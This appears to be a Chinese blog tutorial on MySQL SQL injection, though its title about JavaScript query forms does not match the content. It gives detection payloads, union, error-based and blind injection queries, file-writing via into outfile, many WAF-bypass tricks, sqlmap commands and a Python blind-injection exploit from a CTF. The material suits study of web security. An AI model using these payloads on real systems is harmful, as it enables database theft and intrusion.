js前端動態增減高階查詢表單
隨著網路的發展和普及,日常生活中也出現了很多網路結構模式。
比如我們最常見的就是B/S結構和C/S結構。
C/S(Client/Server)字面意思就是 客戶端/伺服器 模式,我們很容易理解這是一種軟體體系結構,比如WeChat,qq,手遊等手機應用便是採用這種結構。
這裡我們就不詳細展開這兩種結構了,現在通過我們的常識很容易便會發現B/S結構維護升級要比C/S結構簡單,但這是為什麼呢?
因為B/S結構讓資料處理在伺服器上完成,通常使用者只需安裝瀏覽器就可與資料庫進行互動,完成一系列操作。但也會引發安全問題,這時候就要關注到我們的sql語言上了。
sql簡介
SQL(Structured Query Language)是一種結構化查詢語言,方便使用者查詢。詳情可見
sql語法
所謂工欲善其事,必先利其器,
我們要先了解一下比較常見的sql語法,要注意的是sql語句不區分大小寫,但資料庫名錶名區分。
之後我們都以MySQL的語法為例:
首先,我們先登入自己的資料庫(下載安裝就不展開了,新手可以用PHPstudy)
mysql -h hostname -u username -p
-h是指定登入的主機,我們在本地環境測試的時候可以忽略,
-u是指定登入的使用者名稱,phpstudy預設使用者名稱是root,
-p是指定登入的密碼,為了安全性我們不在程式碼上直接輸入密碼,MySQL會向你詢問密碼,若無密碼可以忽略-p。
登入到資料庫後,我們先掌握最基本的對資料庫的增刪查改,
create database 你好xluo charset=utf8;
use 你好xluo;
select database();
create table lalala(hahaha int);
drop table lalala;
drop database 你好xluo;
show databases;
以上流程為:1.我建立了一個名為'你好xluo'的資料庫(charset=utf8可省略),
2.並進入了這個資料庫,
3.然後顯示當前資料庫,
4.建立了一個名為lalala的表,裡面有一個列名為hahaha,是int型,
5.然後把這個表刪了,
6.然後我覺得這個資料庫名字不好聽就不講武德地刪了這個資料庫,
7.然後我瞧了一眼確定這個帶著羞恥名字的資料庫被我刪掉了。
create database xluo;
use xluo;
create table users(userid int primary key,age int,sex varchar(4),phonenumber int);
desc users;
alter table users add birthday char(10);desc users;
alter table users change birthday birthday datetime not null;
alter table users modify birthday date not null;
tui,我刪掉幹啥,重新來一遍吧,以上流程為:
1.建立名為'xluo'的資料庫,
2.進入所建立的資料庫xluo,
3.建立一張新的表名為users,裡面有userid,age,sex,phonenumber這幾個欄位名,
語句結構為create table 表名(欄位名1 資料型別1 可選約束條件1,欄位名2 資料型別2 可選約束條件2……)
4.檢視users這張表的結構,我們可以看到userid不能為空,這是因為我們前面設定了約束條件primary key,
PRI主鍵約束;UNI唯一約束;MUL可以重複。
5.向表裡新增一個欄位birthday,長度限制為10個字元,並看一下表的結構,
注意char和varchar的區別,此處語句結構為alter table 表名 add 欄位名 型別。
6.語句結構alert table 表名 change 原表名 新表名 新型別 新約束。
7.alter table 表名 modify 欄位名 新型別 新約束。
(ps:如果要刪除欄位也可以alter table 表名 drop 欄位名)
8.<待更新補充>
sql漏洞
現在我們知道使用sql語言對開發維護是一件很方便的事情,但是通常情況下,如果開發人員在編寫程式碼的時候並沒有考慮到各種使用者行為並對互動資料或頁面資訊進行合法性判斷,攻擊者就容易用一段查詢程式碼獲得資料庫資訊。
可以說,程式碼是人編寫的,那麼漏洞便會一直存在,甚至很多人依賴預編譯就並沒有對任何東西進行過濾,這實際上是一件很危險的事情,後面筆者會詳細講到。
首先,我們先來了解最簡單的sql注入,假如開發者並沒有對語句進行過濾,構建類似下面的這串程式碼,
$id=$_GET['id']
$sql="select * from users where id =".$id
我們可以發現get方法傳入了引數id,而id直接放進了資料庫查詢語句執行,並沒有任何的過濾,那麼當我們輸入sql語句就可以對資料庫執行查詢等一系列操作。
比如首先url構造?id=-1 or 1=1 #
這是我們發現-1將返回false,但是1=1恆成立,那麼sql語句也成立,於是會查詢所有users。
簡單來說sql漏洞有很多,接下來已經瞭解sql增刪查改的我們來看一下基於MySQL的繞過。
基於MySQL的注入
關於MySQL注入基礎
1.瞭解MySQL註釋風格
1.#
單行註釋,#後面直接加內容
2.--
單行註釋,--後面必須要加空格
我們常用--+是因為字元'+'在URL編碼後為空格
3./**/
多行註釋,/**/中間可以跨行
2.MySQL中的內聯註釋:
內聯註釋是MySQL資料庫為了保持與其他資料庫相容,特意新新增的功能。為了避免從MySQL中匯出的SQL語句不能被其他資料庫使用,它把一些MySQL特有的語句放在 /*!...*/
中,這些語句在不相容的資料庫中使用時便不會執行。而MySQL自身卻能識別、執行。
/*50001*/
表示資料庫版本>=5.00.01時中間的語句才會執行。
在SQL注入中,內聯註釋常用來繞過waf。
3.union聯合查詢
-
union 操作符用於拼接兩個或者多select查詢語句
-
union中的每個查詢必須擁有相同的列數
4.order by語句
-
ORDER BY 語句用於根據指定的列對結果集進行排序。
-
ORDER BY 語句預設按照升序對記錄進行排序。
5.註釋在SQL注入中的應用:
select user from student where id = 1 limit 0,1;
select user from student where id = 1 and 1=2 union select user() # limit 0,1;
攻擊者注入一段包含註釋符的SQL語句,將原來的語句的一部分註釋,註釋掉的部分語句不會被執行
6.SQL注入中一些常用的MySQL函式/語句:
函式 / 語句 | 功能 |
---|---|
user() | 當前使用者名稱 |
database() | 當前所用資料庫 |
current_user() | 當前使用者名稱(可用來檢視許可權) |
version() | 資料庫的版本 |
@@datadir | 資料庫的路徑 |
load_file() | 讀檔案操作 |
Into outfile() / into dumpfile | 寫檔案操作 |
7.SQL注入讀寫檔案的根本條件:
-
資料庫允許匯入匯出(secure_file_priv)
-
當前使用者使用者檔案操作許可權(File_priv)
secure_file_prive引數的設定 含義 secure_file_prive=null 限制mysqld 不允許匯入匯出 secure_file_priv=/tmp/ 限制mysqld的匯入匯出只能發生在/tmp/目錄下 secure_file_priv=' ' 不對mysqld 的匯入匯出做限制 secure_file_prive直接在my.ini檔案裡設定即可
8.load_file()讀檔案
9.into outfile / into dumpfile寫檔案
outfile
與dumpfile
的區別:
dumpfile
適用於二進位制檔案,它會將目標檔案吸入同一行內;
outfile
則更適用於文字檔案
條件:
1.對web目錄具有讀寫許可權
2.知道檔案絕對路徑
3.能夠使用聯合查詢(sql注入時)
命令:
select load_file(‘d:/phpstudy/www/anyun.php’);
select ‘anyun’ into outfile ‘d:/phpstudy/www/anyun.php’;
10.字串連線函式
concat(str1,str2..)
函式直接連線
group_concat(str1,str2..)
函式使用逗號做為分隔符
concat_ws(sep,str1,str2..)
函式使用第一個引數做為分隔符
11.sql本質
把使用者輸入的資料當作程式碼執行。
<?php
$id = $_GET['id'];
mysql_query($query);
$query = "select * from information where id = "$id" limit 0,1";
變數id的值由使用者提交,在正常情況下,假如使用者輸入的是1,那麼SQL語句會執行:
select * from information where id = 1 limit 0,1
但是假如使用者輸入一段有SQL語義的語句,比如:
1 or 1 =1 %23
那麼,SQL語句在實際的執行時就會如下:
select * from information where id = 1 or 1 = 1 %23
條件一:使用者能夠控制變數id;條件二:原本要執行的程式碼,拼接了使用者的輸入。
12.關於information_schema
13.基礎語法
查資料庫:select database();
查表名:select table_name from information_schema.schemata where table_schema = database();
查列名:select column_name from information_schema.columns where table_name = ‘表名’;
查欄位:select 列名 from 表名
14.基礎閉合字元判斷
構造payload:
1.
id = 1’ 異常
id = 1 and 1=1 -- + 正確
id = 1 and 1=2 -- + 錯誤
結論:極有可能存在數字型SQL注入(ps:單引號有個特殊的作用:命令分隔符)
2.
id = 1’ 異常
id = 1’ and 1=1 -- + 正確
id = 1’ and 1=2 -- + 錯誤
結論:極有可能存在單引號字元型SQL注入
3.
id = 1’ 異常
id = 1” and 1=1 -- + 正確
id = 1” and 1=2 -- + 錯誤
結論:極有可能存在雙引號字元型SQL注入
4.
id = 1’ 異常
id = 1) and 1 =1 -- + 正確
id = 1) and 1=2 -- + 錯誤
結論:極有可能存在括號數字型SQL注入
15.基礎列數判斷
payload
id = 1 order by 4 -- + 正常
Id = 1 order by 5 -- + 異常
結論:當前語句查詢了四列
16.求顯示位
比如日常中我們查詢四列,但只顯示了一列,這時候就需要判斷顯示的是哪一列,然後在查詢的時候在顯示的那一列插入我們的payload。
簡而言之,在回顯位置插入payload。
例:http://localhost/index.php?id=-1 and union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='表名'
17.報錯注入updatexml函式
例:http://localhost/index.php?id=1' and updatexml(1,concat(0x23,database()),1)#
在我們注入時,常常加入0x23或0x7e,0x23就是#,0x7e就是*
18.基於布林的盲注
特點:頁面存在異常,但是無回顯或者報錯資訊。只能利用正確和錯誤兩種狀態來判斷payload是否正確
相關函式:
count() 計算結果集的行數。
length(str) 返回指定字串的長度。如果放表示式,需要用括號括起來
substr(str,pos,len)/substring(str,pos,len) 返回擷取的子字串。
ascii(str) 返回指定字串最左側字元的ascii值。
例:
http://localhost/index.php?id=1' and length(database())=8 %23
http://localhost/index.php?id=1' and (select count(table_name) from information_schema.tables where table_schema='表名') = 4 %23
19.基於時間的盲注
特點:頁面不存在異常,也無回顯和報錯。只能利用條件語句結合執行的時間長短來判斷payload是否正確
相關函式:
if(exp1,exp2,exp3) 如果exp是true,那麼執行exp2,否則執行exp3
sleep(n),讓程式暫停n秒
核心思想:例如if(exp1,exp2,sleep(3))
,如果payload正確則立即執行exp2,否則暫停3秒。以此來判斷payload是否正確。
20.SQL注入常用工具
sqlmap、pangolin、啊D、havij(這裡還是建議用kali自帶的sqlmap,比較有靈魂)
sqlmap常用指令:
sqlmap -h:顯示基本幫助資訊,sqlmap -hh:顯示高階幫助資訊
檢測是否有sql注入:sqlmap -u http://localhost/index.php?id=1
查庫:sqlmap -u http://localhost/index.php?id=1 --current-db
查表:sqlmap -u http://localhost/index.php?id=1 -D 庫名 --tables
查列:sqlmap -u http://localhost/index.php?id=1 -D 庫名 -T 表名 -columns
查欄位內容:sqlmap -u http://localhost/index.php?id=1 -D 庫名 -T 表名 -C 列名 --dump
擴充套件識別廣度和深度:SqlMap --level 增加測試級別
sqlmap -r filename(filename是網站請求資料,可用抓包工具獲取)
可以利用工具提高識別效率:BurpSuite等抓包工具的使用
外掛的使用如BurpSuite的sqlmap外掛
可以在引數後鍵入"*"來確定想要測試的引數
MySQL注入常用函式
函式名稱 | 函式功能 |
---|---|
system_user() | 系統使用者名稱 |
user() | 使用者名稱 |
current_user() | 當前使用者名稱 |
session_user() | 連線資料庫的使用者名稱 |
database() | 資料庫名 |
version() | 資料庫版本 |
@@datadir | 資料庫路徑 |
@@basedir | 資料庫安裝路徑 |
@@version_compile_os | 作業系統 |
count() | 返回執行結果數量········ |
concat() | 沒有分隔符的連線字串 |
concat_ws() | 含有分隔符的連線字串 |
group_concat | 連線一個組的所有字串,並以逗號分隔每一條資料 |
load_file() | 讀取本地檔案 |
into outfile | 寫檔案 |
ascii() | 字串的ASCII程式碼值 |
ord() | 返回字串第一個字元的ACSCII值 |
mid() | 返回一個字串的一部分 |
substr() | 返回一個字串的一部分 |
LOCATE(substr,str), LOCATE(substr,str,pos) | 第一種語法返回字串符substr在字串str第一個出現的位置。第二個語法返回串substr在字串str,位置pos處開始第一次出現的位置。返回值為0,substr不在str |
length() | 返回字串的長度 |
left() | 返回字串的最左邊幾個字元 |
right() | 返回字串的最右邊幾個字元 |
floor() | 返回小於或等於x的最大整數 |
rand() | 返回0和1之間的隨機數 |
extractvalue() | 第一個引數:XML document是String格式,為XML文件物件的名稱,文中為Doc 第二個引數:XPath string(Xpath格式的字串) 作用:從目標XML中返回包含所查詢值的字串 |
updatexml() | 第一個引數:XML document是String格式,為XML文件物件的名稱,文中為Doc 第二個引數:XPath string(Xpath格式的字串) 第三個引數:new value String格式,替換查詢到的符合條件的資料 作用:改變文件中符合條件的節點的值 |
sleep() | 讓此語句執行N秒鐘 |
if() | SELECT IF(1>2.2.3) -> 3 類似三目運算 |
char() | 返回整數ASCII程式碼字元組成的字串 |
strcmp() | 比較字串內容 |
ifnull() | 假如引數1不為NUL,則返回值為引數1,否則其返回值為引數2 |
exp() | 返回e的x次方 |
extractvalue() | 第一個引數:XML_document 是 String 格式,為 XML 文件物件的名稱,文中為 Doc 第二個引數:XPath_String (Xpath 格式的字串) 作用:從目標 XML 中返回包含所查詢值的字串 |
updatexml() | 第一個引數:XML_document 是 String 格式,為 XML 文件物件的名稱,文中為 Doc 第二個引數:XPath_String (Xpath 格式的字串) 第三個引數:new_value,String 格式,替換查詢到的符合條件的資料作用:改變文件中符合條件的節點的值 |
sql注入繞過
sql注入最常見的是規則層面的繞過,也可嘗試協議層面繞過waf。
1.空白符繞過
在我們進行sql注入測試的時候,最常見的就是過濾了空格,當然我們也有很多辦法繞過空格。
(1)MySQL空白符代替空格:%09,%0A,%0B,%0D,%20,%0C,%A0,/**/
(2)正則的空白符則是前面:%09,%0A,%0B,%0D,%20
繞過時可以使用URL雙重編碼。
2.內聯註釋繞過
在MySQL中如果採用諸如/!select/內聯註釋的方法,是可以成功執行的。
3.註釋符繞過
/**/
/*aaaa%01bbs*/
中間嘗試加入特殊字元
/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/
測試註釋長度,可以填充幾百萬個字元造成waf記憶體繞過,屬於資源限制角度繞過waf。
4.函式分割
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
5.浮點數詞法解析
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
6.利用error-based進行SQL注入:error-based SQL注入函式非常容易被忽略
extractvalue(1, concat(0x5c,md5(3)));
updatexml(1, concat(0x5d,md5(3)),1);
GeometryCollection((select*from(select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
7.MySQL特殊語法
select{x table_name}from{x information_schema.tables};
8.寬位元組注入
既可以稱為一種注入型別,也可以稱為一種waf的繞過姿勢
相關函式:addslashes()函式:函式會在在以下字元之前新增反斜槓。 單引號(’)雙引號(")反斜槓(\)
使用條件:資料庫採用gbk字符集、網站將引號轉義為反斜槓加引號時
原因:gbk雙位元組編碼中用兩個位元組來代表一個漢字,首位元組範圍:0x81~0xFE, 尾位元組範圍:0x40~0xFE(除0x7F), 反斜槓(\)對應編碼為0x5c
注入原理:許多網站為了防止單引號閉合,會將輸入的'進行轉義變成\'
,例如我們輸入
?id=%df'
會變成?id=%df\'
,其中反斜槓( \ )的十六進位制是%5C,那麼我們輸入的?id=%df'
就等於?id=%df%5c%27
,因為使用了gbk編碼,會預設%df%5c
是一個寬字元,會被編碼成中文的縗
,這樣就成功的寫入了單引號,就可以同常規方法一樣注入了。
例:http://localhost/index.php?id=%df%27
9.
WAF繞過
常見繞過:
1.大小寫混合繞過,如UnIon SeLecT
2.雙寫繞過,如伺服器會將union替換為空字元,那麼我們輸入ununionion之後,中間的union會被替換,導致把最外面的un和ion拼起來成為union
3.編碼,如ascii編碼,十六進位制編碼,Unicode編碼
4.註釋,如/**/,/*!*/,/*!12345*/,#,-- -等
5.等價函式或特殊符號,如等號等價於like,逗號等價於limit 1 offset 0
6.特殊符號,如科學計數法and 1e0=1e0、空白字元 %0a,%a0,%0b,%20等
7.組合繞過,如id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3
白盒審計程式碼繞過
1.審計程式碼
2.尋找過濾
3.尋找有無邏輯漏洞
4.嘗試繞過
ctf實戰
1.
2020.12 ROARCTF之PostgreSQL盲注
ps:Postgresql的語法和MySQL有所不同,但在本道題目並不會產生差異
解完題目後我們知道原始碼是這樣的:
SELECT * FROM users WHERE username='${username}' AND password='${password}' //flag{eb4aaa7f-1362-4f4c-9f5f-a7202518314b}
我們通過黑盒fuzz可以發現是時間盲注且存在一些過濾
exp:
import requests
import time
def timeInjection():
URL = "http://139.129.98.9:30005/"
result = ""
payload = "1'||(case/**/when/**/(coalesce(ascii(substr((select/**/password),{},1)),0)={})/**/then/**/pg_sleep(2)/**/else/**/pg_sleep(0)/**/end)--"
for i in range(1,100):
for j in range(32,128):
tmp_payload = payload.format(i,j)
params = {
'username':"admin",
'password':tmp_payload
}
start_time = time.time()
requests.post(url = URL, data=params)
if time.time() - start_time > 2:
result += chr(j)
print(result)
print(time.time() - start_time)
break
else:
pass
timeInjection()
2.
待續--
reference:
2.